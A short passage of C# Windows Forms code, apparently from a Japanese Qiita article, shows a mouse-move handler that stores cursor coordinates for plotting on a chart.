            //chart1.Series[str_ms_y].Points.AddXY(99,ms_y);

        }

    }

    private void Form1_MouseMove(object sender, MouseEventArgs e)
    {
        //マウスイベントのたびにデータを保持
        ms_x = e.X;
        ms_y = e.Y;
    }
}
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む